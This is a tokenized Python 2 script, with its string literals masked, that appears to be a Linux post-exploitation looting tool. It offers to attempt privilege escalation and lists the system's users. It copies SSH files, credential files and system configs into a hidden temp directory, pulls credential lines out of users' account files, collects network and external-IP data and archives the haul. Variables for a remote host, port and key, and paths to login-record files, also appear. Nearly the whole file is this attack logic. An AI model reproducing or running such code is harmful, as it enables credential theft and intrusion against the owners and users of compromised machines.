<s> import sys , os , re , signal <EOL> from subprocess import Popen , PIPE , STDOUT , call <EOL> import platform <EOL> import shutil <EOL> import getopt <EOL> import tarfile <EOL> import socket <EOL> import urllib2 <EOL> import random , string <EOL> import logging <EOL> import struct <EOL> import getpass <EOL> import pwd <EOL> import thread <EOL> import base64 <EOL> import operator <EOL> import SocketServer , SimpleHTTPServer <EOL> cut = lambda s : str ( s ) . split ( "<STR_LIT>" , <NUM_LIT:1> ) [ <NUM_LIT:0> ] <EOL> logging . getLogger ( "<STR_LIT>" ) . setLevel ( logging . ERROR ) <EOL> try : <EOL> from scapy . all import * <EOL> except ImportError : <EOL> try : <EOL> from scapy import * <EOL> except ImportError : <EOL> print ( "<STR_LIT>" ) <EOL> def environment ( ) : <EOL> global Home_Dir <EOL> global Temp_Dir <EOL> global Config_Dir <EOL> global User_Ip_Address <EOL> global UTMP_STRUCT_SIZE <EOL> global LASTLOG_STRUCT_SIZE <EOL> global UTMP_FILEPATH <EOL> global WTMP_FILEPATH <EOL> global LASTLOG_FILEPATH <EOL> global distro <EOL> global distro2 <EOL> UTMP_STRUCT_SIZE = <NUM_LIT> <EOL> LASTLOG_STRUCT_SIZE = <NUM_LIT> <EOL> UTMP_FILEPATH = "<STR_LIT>" <EOL> WTMP_FILEPATH = "<STR_LIT>" <EOL> LASTLOG_FILEPATH = "<STR_LIT>" <EOL> distro = os . uname ( ) [ <NUM_LIT:1> ] <EOL> distro2 = platform . linux_distribution ( ) [ <NUM_LIT:0> ] <EOL> Home_Dir = os . environ [ '<STR_LIT>' ] <EOL> User_Ip_Address = socket . gethostbyname ( socket . gethostname ( ) ) <EOL> Rand_Dir = '<STR_LIT>' . join ( random . choice ( string . letters ) for i in xrange ( <NUM_LIT:12> ) ) <EOL> Temp_Dir = "<STR_LIT>" + "<STR_LIT:%s>" % Rand_Dir <EOL> Config_Dir = Temp_Dir + "<STR_LIT>" <EOL> if os . geteuid ( ) != <NUM_LIT:0> : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> option = raw_input ( "<STR_LIT>" ) <EOL> if option == '<STR_LIT:1>' : <EOL> privesc ( ) <EOL> sys . exit ( ) <EOL> else : <EOL> sys . exit ( ) <EOL> else : <EOL> pass <EOL> signal . signal ( signal . SIGINT , signalHandler ) <EOL> os . system ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> os . chdir ( Home_Dir ) <EOL> if os . path . exists ( Temp_Dir ) is True : <EOL> os . system ( "<STR_LIT>" + Temp_Dir ) <EOL> if os . path . exists ( Temp_Dir ) is False : <EOL> os . mkdir ( Temp_Dir ) <EOL> print "<STR_LIT>" % Temp_Dir <EOL> def signalHandler ( signal , frame ) : <EOL> print ( "<STR_LIT>" ) ; <EOL> Shutdown ( ) <EOL> def Shutdown ( ) : <EOL> if not os . listdir ( Temp_Dir ) : <EOL> os . rmdir ( Temp_Dir ) <EOL> sys . exit ( ) <EOL> def whereis ( program ) : <EOL> for path in os . environ . get ( '<STR_LIT>' , '<STR_LIT>' ) . split ( '<STR_LIT::>' ) : <EOL> if os . path . exists ( os . path . join ( path , program ) ) and not os . path . isdir ( os . path . join ( path , program ) ) : <EOL> return os . path . join ( path , program ) <EOL> return None <EOL> def copy2temp ( filename , subdir = "<STR_LIT>" ) : <EOL> if os . path . exists ( filename ) is True : <EOL> pass <EOL> if subdir == "<STR_LIT>" is True : <EOL> shutil . copy2 ( filename , Temp_Dir ) <EOL> else : <EOL> if os . path . exists ( Temp_Dir + "<STR_LIT:/>" + subdir ) is True : <EOL> subdir = ( Temp_Dir + "<STR_LIT:/>" + subdir ) <EOL> shutil . copy2 ( filename , subdir ) <EOL> elif os . path . exists ( subdir ) is True : <EOL> shutil . copy2 ( filename , subdir ) <EOL> else : <EOL> subdir = ( Temp_Dir + "<STR_LIT:/>" + subdir ) <EOL> os . mkdir ( subdir ) <EOL> shutil . copy2 ( filename , subdir ) <EOL> else : <EOL> pass <EOL> def write2file ( filename , text ) : <EOL> if os . path . exists ( filename ) is True : <EOL> target = open ( filename , "<STR_LIT:a>" ) <EOL> target . write ( text ) <EOL> target . close ( ) <EOL> else : <EOL> pass <EOL> def writenew ( filename , content ) : <EOL> new = open ( filename , "<STR_LIT:a>" ) <EOL> new . write ( content ) <EOL> new . close ( ) <EOL> def file2file ( readfile , writefile ) : <EOL> if os . path . exists ( readfile ) is True : <EOL> readfile = open ( readfile ) <EOL> if os . path . exists ( writefile ) is True : <EOL> writefile = open ( writefile , "<STR_LIT:a>" ) <EOL> for lines in readfile . readlines ( ) : <EOL> writefile . write ( lines ) <EOL> writefile . close ( ) <EOL> readfile . close ( ) <EOL> else : <EOL> readfile . close ( ) <EOL> else : <EOL> pass <EOL> def maketemp ( subdir ) : <EOL> moddir = ( Temp_Dir + "<STR_LIT:/>" + subdir ) <EOL> if os . path . exists ( moddir ) is False : <EOL> os . mkdir ( moddir ) <EOL> else : <EOL> pass <EOL> def users ( ) : <EOL> global userlist <EOL> userlist = [ ] <EOL> passwd = open ( '<STR_LIT>' ) <EOL> for line in passwd : <EOL> fields = line . split ( '<STR_LIT::>' ) <EOL> uid = int ( fields [ <NUM_LIT:2> ] ) <EOL> if uid > <NUM_LIT> and uid < <NUM_LIT> : <EOL> userlist . append ( fields [ <NUM_LIT:0> ] ) <EOL> def combinefiles ( newfile , filelist ) : <EOL> content = '<STR_LIT>' <EOL> for f in filelist : <EOL> if os . path . exists ( f ) is True : <EOL> content = content + '<STR_LIT:\n>' + open ( f ) . read ( ) <EOL> open ( newfile , '<STR_LIT:wb>' ) . write ( content ) <EOL> else : <EOL> pass <EOL> def tardir ( name , directory ) : <EOL> tar = tarfile . open ( "<STR_LIT>" , "<STR_LIT>" % name ) <EOL> if os . path . exists ( directory ) is True : <EOL> tar . add ( "<STR_LIT>" % directory ) <EOL> print ( "<STR_LIT>" % ( name , directory ) ) <EOL> tar . close ( ) <EOL> else : <EOL> print ( "<STR_LIT>" % directory ) <EOL> tar . close ( ) <EOL> def tarlist ( name , filelist ) : <EOL> tar = tarfile . open ( "<STR_LIT>" % name , "<STR_LIT>" ) <EOL> for files in filelist : <EOL> if os . path . exists ( files ) is True : <EOL> tar . add ( files ) <EOL> else : <EOL> print ( "<STR_LIT>" % files ) <EOL> tar . close ( ) <EOL> print ( "<STR_LIT>" % name ) <EOL> def globalvars ( ) : <EOL> global PORT <EOL> global RHOST <EOL> global RPORT <EOL> global PPORT <EOL> global PKEY <EOL> global modList <EOL> modList = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> PORT = <NUM_LIT> <EOL> RHOST = '<STR_LIT>' <EOL> RPORT = <NUM_LIT> <EOL> PPORT = <NUM_LIT> <EOL> PKEY = '<STR_LIT>' <EOL> def archive ( ) : <EOL> '''<STR_LIT>''' <EOL> os . chdir ( Temp_Dir ) <EOL> temp_files = os . listdir ( Temp_Dir ) <EOL> tarlist ( "<STR_LIT>" , temp_files ) <EOL> def extras ( ) : <EOL> '''<STR_LIT>''' <EOL> maketemp ( "<STR_LIT>" ) <EOL> protectiondir = ( Temp_Dir + "<STR_LIT>" ) <EOL> os . chdir ( protectiondir ) <EOL> os . mkdir ( Config_Dir ) <EOL> configs = [ "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ] <EOL> for x in configs : <EOL> copy2temp ( x , "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> program = [ "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , <EOL> "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ] <EOL> for x in program : <EOL> location = whereis ( x ) <EOL> if location is not None : <EOL> text = location + '<STR_LIT:\n>' <EOL> writenew ( "<STR_LIT>" , text ) <EOL> users ( ) <EOL> for user in userlist : <EOL> if os . path . exists ( "<STR_LIT>" % user ) is True : <EOL> os . system ( "<STR_LIT>" % ( user , user ) ) <EOL> if os . geteuid ( ) == <NUM_LIT:0> : <EOL> if os . path . exists ( "<STR_LIT>" ) is True : <EOL> os . system ( "<STR_LIT>" ) <EOL> def osuser ( ) : <EOL> '''<STR_LIT>''' <EOL> print ( "<STR_LIT>" ) <EOL> maketemp ( "<STR_LIT>" ) <EOL> os . chdir ( Temp_Dir + "<STR_LIT>" ) <EOL> proc = Popen ( '<STR_LIT>' , <EOL> shell = True , <EOL> stdout = PIPE , <EOL> ) <EOL> output = proc . communicate ( ) [ <NUM_LIT:0> ] <EOL> for items in output : <EOL> writenew ( "<STR_LIT>" , items ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> if distro == "<STR_LIT>" or distro2 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif distro == "<STR_LIT>" or distro2 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif distro == "<STR_LIT>" or distro2 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif distro == "<STR_LIT>" or distro2 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif distro == "<STR_LIT>" or distro2 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif distro == "<STR_LIT>" or distro2 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> else : <EOL> pass <EOL> if distro == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif distro == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif whereis ( '<STR_LIT>' ) is not None : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> copy2temp ( Home_Dir + "<STR_LIT>" ) <EOL> copy2temp ( Home_Dir + "<STR_LIT>" ) <EOL> copy2temp ( Home_Dir + "<STR_LIT>" ) <EOL> sysfiles = [ "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ] <EOL> combinefiles ( "<STR_LIT>" , sysfiles ) <EOL> maketemp ( "<STR_LIT>" ) <EOL> os . chdir ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> if os . path . exists ( Home_Dir + "<STR_LIT>" ) is True : <EOL> os . system ( "<STR_LIT>" + Home_Dir + "<STR_LIT>" ) <EOL> def getrepos ( ) : <EOL> '''<STR_LIT>''' <EOL> os . mkdir ( Temp_Dir + "<STR_LIT>" ) <EOL> repodir = ( Temp_Dir + "<STR_LIT>" ) <EOL> os . chdir ( repodir ) <EOL> users ( ) <EOL> if whereis ( '<STR_LIT>' ) is not None : <EOL> for user in userlist : <EOL> if os . path . exists ( "<STR_LIT>" % user ) is True : <EOL> os . system ( "<STR_LIT>" % ( user , user ) ) <EOL> proc = Popen ( '<STR_LIT>' % user , <EOL> shell = True , <EOL> stdout = PIPE , <EOL> ) <EOL> userinfo = proc . communicate ( ) [ <NUM_LIT:0> ] <EOL> if os . geteuid ( ) == <NUM_LIT:0> : <EOL> os . system ( "<STR_LIT>" ) <EOL> proc = Popen ( '<STR_LIT>' , <EOL> shell = True , <EOL> stdout = PIPE , <EOL> ) <EOL> output = proc . communicate ( ) [ <NUM_LIT:0> ] <EOL> writenew ( "<STR_LIT>" , output + userinfo ) <EOL> if whereis ( '<STR_LIT>' ) is not None : <EOL> for user in userlist : <EOL> if os . path . exists ( "<STR_LIT>" % user ) is True : <EOL> os . system ( "<STR_LIT>" % user ) <EOL> def network ( ) : <EOL> '''<STR_LIT>''' <EOL> print ( "<STR_LIT>" ) <EOL> maketemp ( "<STR_LIT>" ) <EOL> networkdir = Temp_Dir + "<STR_LIT>" <EOL> os . chdir ( networkdir ) <EOL> proc = Popen ( '<STR_LIT>' , <EOL> shell = True , <EOL> stdout = PIPE , <EOL> ) <EOL> output = proc . communicate ( ) [ <NUM_LIT:0> ] <EOL> file = open ( "<STR_LIT>" , "<STR_LIT:a>" ) <EOL> for items in output : <EOL> file . write ( items ) , <EOL> file . close ( ) <EOL> os . system ( "<STR_LIT>" ) <EOL> ports = [ "<STR_LIT>" , "<STR_LIT>" ] <EOL> combinefiles ( "<STR_LIT>" , ports ) <EOL> os . system ( "<STR_LIT>" ) <EOL> if whereis ( '<STR_LIT>' ) is not None : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> else : <EOL> pass <EOL> os . system ( "<STR_LIT>" ) <EOL> if distro == "<STR_LIT>" or distro2 == "<STR_LIT>" is True : <EOL> os . system ( "<STR_LIT>" ) <EOL> else : <EOL> s = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) <EOL> s . connect ( ( "<STR_LIT>" , <NUM_LIT> ) ) <EOL> localIP = ( s . getsockname ( ) [ <NUM_LIT:0> ] ) <EOL> s . close ( ) <EOL> splitIP = localIP . split ( '<STR_LIT:.>' ) <EOL> splitIP [ <NUM_LIT:3> : ] = ( [ '<STR_LIT>' ] ) <EOL> IPRange = "<STR_LIT:.>" . join ( splitIP ) <EOL> externalIP = ip = urllib2 . urlopen ( "<STR_LIT>" ) . read ( ) <EOL> text = ( "<STR_LIT>" + externalIP + "<STR_LIT>" + localIP + "<STR_LIT>" + IPRange ) <EOL> writenew ( "<STR_LIT>" , text ) <EOL> os . system ( "<STR_LIT>" ) <EOL> netfiles = [ "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ] <EOL> combinefiles ( "<STR_LIT>" , netfiles ) <EOL> os . system ( "<STR_LIT>" ) <EOL> network = [ "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ] <EOL> for x in network : <EOL> copy2temp ( x , networkdir ) <EOL> def creds ( ) : <EOL> '''<STR_LIT>''' <EOL> print ( "<STR_LIT>" ) <EOL> maketemp ( "<STR_LIT>" ) <EOL> os . chdir ( Temp_Dir + "<STR_LIT>" ) <EOL> os . system ( '<STR_LIT>' ) <EOL> os . system ( '<STR_LIT>' ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> sshfiles = [ "<STR_LIT>" , "<STR_LIT>" ] <EOL> combinefiles ( "<STR_LIT>" , sshfiles ) <EOL> os . system ( "<STR_LIT>" ) <EOL> if os . path . exists ( Home_Dir + "<STR_LIT>" ) is True : <EOL> os . system ( "<STR_LIT>" + Home_Dir + "<STR_LIT>" ) <EOL> credentials = [ "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , Home_Dir + "<STR_LIT>" , Home_Dir + "<STR_LIT>" , <EOL> Home_Dir + "<STR_LIT>" , Home_Dir + "<STR_LIT>" , Home_Dir + "<STR_LIT>" , Home_Dir + "<STR_LIT>" , <EOL> Home_Dir + "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ] <EOL> for x in credentials : <EOL> copy2temp ( x , "<STR_LIT>" ) <EOL> users ( ) <EOL> if whereis ( '<STR_LIT>' ) is not None : <EOL> for user in userlist : <EOL> if os . path . exists ( "<STR_LIT>" + user + "<STR_LIT>" ) is True : <EOL> accts = open ( "<STR_LIT>" + user + "<STR_LIT>" ) <EOL> saved = open ( "<STR_LIT>" , "<STR_LIT:a>" ) <EOL> for line in accts . readlines ( ) : <EOL> if '<STR_LIT>' in line : <EOL> saved . write ( line ) <EOL> elif '<STR_LIT>' in line : <EOL> saved . write ( line ) <EOL> elif '<STR_LIT>' in line : <EOL> saved . write ( line ) <EOL> else : <EOL> pass <EOL> accts . close ( ) <EOL> saved . close ( ) <EOL> for user in userlist : <EOL> if os . path . exists ( "<STR_LIT>" + user + "<STR_LIT>" ) is True : <EOL> accts = open ( "<STR_LIT>" + user + "<STR_LIT>" ) <EOL> saved = open ( "<STR_LIT>" , "<STR_LIT:a>" ) <EOL> for line in accts . readlines ( ) : <EOL> if "<STR_LIT>" in line : <EOL> saved . write ( line ) <EOL> else : <EOL> pass <EOL> accts . close ( ) <EOL> saved . close ( ) <EOL> for user in userlist : <EOL> copy2temp ( "<STR_LIT>" + user + "<STR_LIT>" ) <EOL> def usage ( ) : <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> print ( '<STR_LIT>' ) <EOL> def main ( argv ) : <EOL> try : <EOL> opts , args = getopt . getopt ( sys . argv [ <NUM_LIT:1> : ] , '<STR_LIT>' , [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] ) <EOL> except getopt . GetoptError , err : <EOL> print str ( err ) <EOL> Shutdown ( ) <EOL> for o , a in opts : <EOL> if o in ( '<STR_LIT>' , '<STR_LIT>' ) : <EOL> usage ( ) <EOL> Shutdown ( ) <EOL> sys . exit ( <NUM_LIT:2> ) <EOL> elif o in ( '<STR_LIT>' , '<STR_LIT>' ) : <EOL> archive ( ) <EOL> elif o in ( '<STR_LIT>' , '<STR_LIT>' ) : <EOL> extras ( ) <EOL> elif o in ( '<STR_LIT>' , '<STR_LIT>' ) : <EOL> osuser ( ) <EOL> elif o in ( '<STR_LIT>' , '<STR_LIT>' ) : <EOL> getrepos ( ) <EOL> elif o in ( '<STR_LIT>' , '<STR_LIT>' ) : <EOL> network ( ) <EOL> elif o in ( '<STR_LIT:-c>' , '<STR_LIT>' ) : <EOL> creds ( ) <EOL> else : <EOL> assert False , '<STR_LIT>' <EOL> Shutdown ( ) <EOL> globalvars ( ) <EOL> environment ( ) <EOL> if __name__ == "<STR_LIT:__main__>" : <EOL> if len ( sys . argv ) <= <NUM_LIT:1> : <EOL> usage ( ) <EOL> main ( sys . argv [ <NUM_LIT:1> : ] ) </s>
